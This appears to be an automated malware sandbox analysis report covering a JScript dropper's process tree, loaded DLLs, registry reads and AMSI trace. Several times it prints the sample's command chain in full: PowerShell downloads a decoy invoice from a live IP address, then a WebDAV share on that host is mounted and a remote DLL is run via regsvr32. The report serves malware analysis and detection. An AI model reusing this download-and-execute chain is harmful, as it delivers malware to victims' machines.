Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1644,i,9985330244955077612,10226034599088228231,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1644,i,9985330244955077612,10226034599088228231,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6496.js.csv");ITextStream.WriteLine(" entry:9450 f:hqrra");ITextStream.WriteLine(" exec:2 f:hqrra");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
